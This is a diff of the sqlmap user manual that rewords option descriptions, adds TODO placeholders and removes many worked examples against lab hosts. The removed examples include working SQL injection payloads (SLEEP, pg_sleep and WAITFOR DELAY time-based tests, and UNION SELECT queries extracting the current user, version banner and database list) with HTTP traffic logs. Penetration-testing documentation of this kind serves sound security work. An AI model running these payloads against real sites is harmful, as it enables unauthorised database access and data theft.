    +Read below for details about every single switch. Output prediction @@ -1383,18 +1447,18 @@ This feature relies on the concept and inherits both its pro and its cons.

    -This number comes into play when the brute-force switches are provided or -when the data fetching is done through any of the blind SQL injection -techniques. +This features applies to the brute-force switches and when the data +fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query -output, then starts the threads. Each thread is assigned to retrieve one -character of the query output. The thread then ends when that character is -retrieved. +output in a single thread, then starts the multi-threading. Each thread is +assigned to retrieve one character of the query output. The thread ends +when that character is retrieved - it takes up to 7 HTTP(S) requests with +the bisection algorithm implemented in sqlmap.

    Note that the multi-threading switch does not affect any other SQL -injection technique and that the maximum number of concurrent requests is -set to 10 for performance and site reliability reasons. +injection technique. The maximum number of concurrent requests is set to +10 for performance and site reliability reasons. MySQL GROUP_CONCAT() speed up @@ -1420,12 +1484,13 @@ Switch: -p

    By default sqlmap tests all GET parameters and POST -parameters. When the value of --level is >= 2 it tests -also HTTP Cookie header values. When this value is >= 3 -it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. +parameters. When the value of --level is >= 2 +it tests also HTTP Cookie header values. When this value is >= +3 it tests also HTTP User-Agent and HTTP Referer +header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence -on the value of --level too. +on the value of --level too.

    For instance, to test for GET parameter id and for HTTP @@ -1517,7 +1582,7 @@ user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

    -Example on vulnerable source code: +Example of vulnerable source code: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; @@ -1586,7 +1651,7 @@ Switch: --risk TODO -Page comparison +TODO: Page comparison

    Switches: --string and --regexp @@ -1614,85 +1679,6 @@ only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison. -Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time(): - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ - -v 5 - -[...] -[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:50] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 -Host: 192.168.136.131 -User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) -Connection: close - -[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): -Date: Fri, 25 Jul 2008 14:29:50 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Connection: close -Transfer-Encoding: chunked -Content-Type: text/html - -<html><body> -<b>SQL results:</b> -<table border="1"> -<tr><td>1</td><td>luther</td><td>blissett</td></tr> -</table> -</body></html><p>Dynamic content: 1216996190</p> - -[hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 -Host: 192.168.136.131 -User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) -Connection: close - -[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): -Date: Fri, 25 Jul 2008 14:29:51 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 161 -Connection: close -Content-Type: text/html - -<html><body> -<b>SQL results:</b> -<table border="1"> -<tr><td>1</td><td>luther</td><td>blissett</td></tr> -</table> -</body></html><p>Dynamic content: 1216996191</p> - -[hh:mm:51] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1 -Host: 192.168.136.131 -User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) -Connection: close - -[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): -Date: Fri, 25 Jul 2008 14:29:51 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 161 -Connection: close -Content-Type: text/html - -<html><body> -<b>SQL results:</b> -<table border="1"> -<tr><td>1</td><td>luther</td><td>blissett</td></tr> -</table> -</body></html><p>Dynamic content: 1216996191</p> - -[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to -the user's manual paragraph 'Page comparison' for details - -

    As you can see, the string after Dynamic content changes its value every second. In the example it is just a call to PHP @@ -1708,57 +1694,10 @@ on the not injected page content and it is not on the False page content displayed on the page content) and passing it to sqlmap, you are able to inject anyway. -Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time(): - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ - --string "luther" -v 1 - -[hh:mm:22] [INFO] testing connection to the target url -[hh:mm:22] [INFO] testing if the provided string is within the target URL page content -[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:22] [INFO] GET parameter 'id' is dynamic -[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' -[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' -[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' -[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:22] [INFO] testing for parenthesis on injectable parameter -[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis -[...] - -

    You can also specify a regular expression to match rather than a string if you prefer. -Example on a MySQL 5.0.67 target on a page which content changes -every second due to a call to PHP function time(): - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \ - --regexp "lu[\w][\w]er" -v 1 - -[hh:mm:22] [INFO] testing connection to the target url -[hh:mm:22] [INFO] testing if the provided regular expression matches within the target -URL page content -[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:22] [INFO] GET parameter 'id' is dynamic -[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' -[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' -[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' -[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:22] [INFO] testing for parenthesis on injectable parameter -[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis -[...] - -

    As you can see, when one of these options is specified, sqlmap skips the URL stability test. @@ -1772,392 +1711,40 @@ user's input. Techniques

    -These options can be used to test for specific SQL injection technique or -to use one of them to exploit the affected parameter(s) rather than using -the default blind SQL injection technique. +These options can be used to tweak how specific SQL injection techniques +are tested. -Test for stacked queries (multiple statements) support +Seconds to delay the DBMS response for time-based blind SQL injection

    -Switch: --stacked-test +Switch: --time-sec

    -It is possible to test if the web application technology supports -stacked queries, multiple statements, on the injectable -parameter. +It is possible to set the seconds to delay the response when testing for +time-based blind SQL injection, by providing the +--time-sec option followed by an integer. +By default delay is set to 5 seconds. + +TODO

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" \ - --stacked-test -v 1 - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:15] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id' -stacked queries support: None - +Switch: --union-cols

    -By default PHP builtin function mysql_query() does not support -multiple statements. -Multiple statements is a feature supported by default only by some -web application technologies in relation to the back-end database -management system. For instance, as you can see from the next example, -where PHP does not support them on MySQL, it does on PostgreSQL. +TODO + +TODO

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ - --stacked-test -v 1 - -[...] -back-end DBMS: PostgreSQL - -[hh:mm:01] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id' -stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128' - +Switch: --union-char

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" \ - --stacked-test -v 1 - -[...] -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:09] [INFO] testing stacked queries support on parameter 'name' -[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name' -stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC' - - - -Test for time based blind SQL injection - -

    -Switches: --time-test and --time-sec - -

    -It is possible to test if the target URL is affected by a time based -blind SQL injection vulnerability. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" \ - --time-test -v 1 - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND -condition syntax -[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection -with AND condition syntax -time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249' - - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ - --time-test -v 1 - -[...] -back-end DBMS: PostgreSQL - -[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND -condition syntax -[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql -injection with AND condition syntax -[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked -query syntax -[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection -with stacked query syntax -time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644' - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" \ - --time-test -v 1 - -[...] -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND -condition syntax -[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql -injection with AND condition syntax -[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked -query syntax -[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with -stacked query syntax -time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND -'PmrXn'='PmrXn' - - -

    -It is also possible to set the seconds to delay the response by providing -the --time-sec option followed by an integer. By default delay -is set to five seconds. - - -Test for UNION query SQL injection - -

    -Switches: --union-test and --union-tech - -

    -It is possible to test if the target URL is affected by a UNION query -(inband) SQL injection vulnerability. -Refer to the Techniques section for details on this SQL injection -technique. - -

    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" \ - --union-test -v 1 - -[...] -back-end DBMS: Oracle - -[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing -technique -[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability -valid union: 'http://192.168.136.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT -NULL, NULL, NULL FROM DUAL-- AND 6558=6558' - - -

    -By default sqlmap uses the NULL bruteforcing technique to -detect the number of columns within the original SELECT statement. -It is also possible to change it to ORDER BY clause -bruteforcing with the --union-tech option. - -

    -Further details on these techniques can be found . - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_str.php?id=1" \ - --union-test --union-tech orderby -v 1 - -[...] -back-end DBMS: PostgreSQL - -[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause -bruteforcing technique -[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability -valid union: 'http://192.168.136.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND -1262=1262' - - -

    -As you can see, the target URL parameter id might be also -exploitable by the inband SQL injection technique. -In case a case it is strongly recommended to use this technique which saves -a lot of time. - -

    -It is strongly recommended to run at least once sqlmap with the ---union-test option to test if the affected parameter is used -within a for cycle, or similar, and in case use ---union-use option to exploit this vulnerability because it -saves a lot of time and it does not weight down the web server log file -with hundreds of HTTP requests. - - -Use the UNION query SQL injection - -

    -Switch: --union-use - -

    -Providing the --union-use parameter, sqlmap will first test if -the target URL is affected by an inband SQL injection -(--union-test) vulnerability then, in case it seems to be -vulnerable, it will confirm that the parameter is affected by a Full -UNION query SQL injection and use this technique to go ahead with the -exploiting. -If the confirmation fails, it will check if the parameter is affected by -a Partial UNION query SQL injection, then use it to go ahead if it -is vulnerable. -In case the inband SQL injection vulnerability is not exploitable, sqlmap -will automatically fallback on the blind SQL injection technique to go -ahead. - -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 2 \ - --union-use --banner - -[...] -back-end DBMS: Microsoft SQL Server 2000 - -[hh:mm:42] [INFO] fetching banner -[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing -technique -[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability -[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id' -[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection -vulnerability -[hh:mm:42] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+ -CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+ -CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204 -[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds -banner: ---- -Microsoft SQL Server 2000 - 8.00.194 (Intel X86) - Aug 6 2000 00:57:48 - Copyright (c) 1988-2000 Microsoft Corporation - Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ---- - - -

    -As you can see, the vulnerable parameter (id) is affected by both -blind SQL injection and exploitable full inband SQL injection -vulnerabilities. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 5 \ - --union-use --current-user - -[...] -[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql -injection vulnerability -[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86), -IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)), -NULL# AND 8032=8032 -[hh:mm:29] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112 -%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29 -%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND -%208032=8032 HTTP/1.1 -Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 -Host: 192.168.136.131 -Accept-language: en-us,en;q=0.5 -Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, -image/png,*/*;q=0.5 -User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net) -Connection: close - -[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200): -Date: Tue, 16 Dec 2008 hh:mm:29 GMT -Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9 -OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 -X-Powered-By: PHP/5.2.6-2ubuntu4 -Content-Length: 194 -Connection: close -Content-Type: text/html - -<html><body> -<b>SQL results:</b> -<table border="1"> -<tr><td>1</td><td>luther</td><td>blissett</td></tr> -<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr> -</table> -</body></html> - -[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds -current user: 'testuser@localhost' - - -

    -As you can see, the MySQL CURRENT_USER() function (--current-user) -output is nested, inband, within the HTTP response page, this makes the -inband SQL injection exploited. - -

    -In case the inband SQL injection is not fully exploitable, sqlmap will -check if it is partially exploitable: this occurs if the query output -is not parsed within a for, or similar, cycle but only the first -entry is displayed in the page content. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \ - --union-use --dbs - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:56] [INFO] fetching database names -[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing -technique -[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability -[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id' -[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql -injection vulnerability -[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id' -[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection -vulnerability -[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76), -IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL -FROM information_schema.SCHEMATA# AND 1062=1062 -[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds -[hh:mm:56] [INFO] the SQL query provided returns 4 entries -[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( -CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM -information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421 -[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds -[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( -CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM -information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553 -[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds -[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( -CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM -information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805 -[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds -[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL( -CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM -information_schema.SCHEMATA LIMIT 3, 1# AND 739=739 -[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds -available databases [4]: -[*] information_schema -[*] mysql -[*] privatedb -[*] testdb - - -

    -As you can see, sqlmap identified that the parameter is affected by a -partial inband SQL injection. Consequently, it counted the number of query -output entries and retrieved them once per time. It forces the parameter -(id) value 1 to its negative value -1 so that -it does not return, presumibly, any output. That leaves our own UNION ALL -SELECT statement to produce one entry at a time and display only it in -the page content. +TODO Fingerprint -Extensive database management system fingerprint +TODO: Extensive database management system fingerprint

    Switches: -f or --fingerprint @@ -2175,22 +1762,6 @@ After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture. -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 - -[...] -[hh:mm:17] [INFO] testing MySQL -[hh:mm:17] [INFO] confirming MySQL -[hh:mm:17] [INFO] retrieved: 5 -[hh:mm:17] [INFO] the back-end DBMS is MySQL -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: MySQL >= 5.0.0 - -

    As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers. @@ -2200,205 +1771,19 @@ If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the --fingerprint option. -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f - -[...] -[hh:mm:49] [INFO] testing MySQL -[hh:mm:49] [INFO] confirming MySQL -[hh:mm:49] [INFO] retrieved: 3 -[hh:mm:49] [INFO] the back-end DBMS is MySQL -[hh:mm:49] [INFO] retrieved: -[hh:mm:49] [INFO] retrieved: -[hh:mm:49] [INFO] retrieved: t -[hh:mm:49] [INFO] executing MySQL comment injection fingerprint -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 - comment injection fingerprint: MySQL 5.0.67 - html error message fingerprint: MySQL - - -

    -Example on an Oracle XE 10.2.0.1 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f - -[...] -[hh:mm:38] [WARNING] the back-end DMBS is not MySQL -[hh:mm:38] [INFO] testing Oracle -[hh:mm:38] [INFO] confirming Oracle -[hh:mm:38] [INFO] the back-end DBMS is Oracle -[hh:mm:38] [INFO] retrieved: 10 -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: active fingerprint: Oracle 10g - html error message fingerprint: Oracle - - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f - -[...] -[hh:mm:14] [WARNING] the back-end DMBS is not Oracle -[hh:mm:14] [INFO] testing PostgreSQL -[hh:mm:14] [INFO] confirming PostgreSQL -[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL -[hh:mm:14] [INFO] retrieved: 2 -[hh:mm:14] [INFO] retrieved: -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0 - html error message fingerprint: PostgreSQL - -

    As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option --dbms. -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f - -[...] -[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL -[hh:mm:41] [INFO] testing Microsoft SQL Server -[hh:mm:41] [INFO] confirming Microsoft SQL Server -[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: active fingerprint: Microsoft SQL Server 2000 - html error message fingerprint: Microsoft SQL Server - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 1 -f - -[...] -[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL -[hh:mm:41] [INFO] testing Microsoft SQL Server -[hh:mm:41] [INFO] confirming Microsoft SQL Server -[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 2003 or 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: active fingerprint: Microsoft SQL Server 2005 - html error message fingerprint: Microsoft SQL Server - -

    If you want an even more accurate result, based also on banner parsing, you can also provide the -b or --banner option. -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b - -[...] -[hh:mm:04] [INFO] testing MySQL -[hh:mm:04] [INFO] confirming MySQL -[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:04] [INFO] retrieved: 0 -[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:04] [INFO] the back-end DBMS is MySQL -[hh:mm:04] [DEBUG] query: VERSION() -[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6 -[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds -[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1 -[hh:mm:05] [INFO] retrieved: -[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds -[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1) -[hh:mm:05] [INFO] retrieved: -[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds -[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1) -[hh:mm:05] [INFO] retrieved: t -[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:06] [INFO] executing MySQL comment injection fingerprint -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2 - comment injection fingerprint: MySQL 5.0.67 - banner parsing fingerprint: MySQL 5.0.67 - html error message fingerprint: MySQL -[...] - -

    As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value. -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b - -[...] -[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL -[hh:mm:03] [INFO] testing Microsoft SQL Server -[hh:mm:03] [INFO] confirming Microsoft SQL Server -[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server -[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:03] [DEBUG] query: @@VERSION -[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) - Aug 6 2000 00:57:48 - Copyright (c) 1988-2000 Microsoft Corporation - Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) - -[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS operating system: Windows 2000 Service Pack 4 -back-end DBMS: active fingerprint: Microsoft SQL Server 2000 - banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 - version 8.00.194 - html error message fingerprint: Microsoft SQL Server -[...] - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b - -[...] -[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL -[hh:mm:03] [INFO] testing Microsoft SQL Server -[hh:mm:03] [INFO] confirming Microsoft SQL Server -[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server -[hh:mm:03] [DEBUG] query: @@VERSION -[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) - Oct 14 2005 00:33:37 - Copyright (c) 1988-2005 Microsoft Corporation - Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) - -[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds -web server operating system: Windows 2003 or 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS operating system: Windows 2003 Service Pack 1 -back-end DBMS: active fingerprint: Microsoft SQL Server 2005 - banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 - version 9.00.1399 - html error message fingerprint: Microsoft SQL Server -[...] - -

    As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. @@ -2423,69 +1808,11 @@ Switch: -b or --banner

    Most of the modern database management systems have a function and/or -an environment variable which returns details on the database management -system version. Also, sometimes it returns the operating system version -where the daemon has been compiled on, the operating system architecture, -and its service pack. Usually the function is version() and the -environment variable @@version. - -

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -b -v 0 - -banner: '5.0.67-0ubuntu6' - - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0 - -banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real -(Ubuntu 4.3.2-1ubuntu11) 4.3.2' - - -

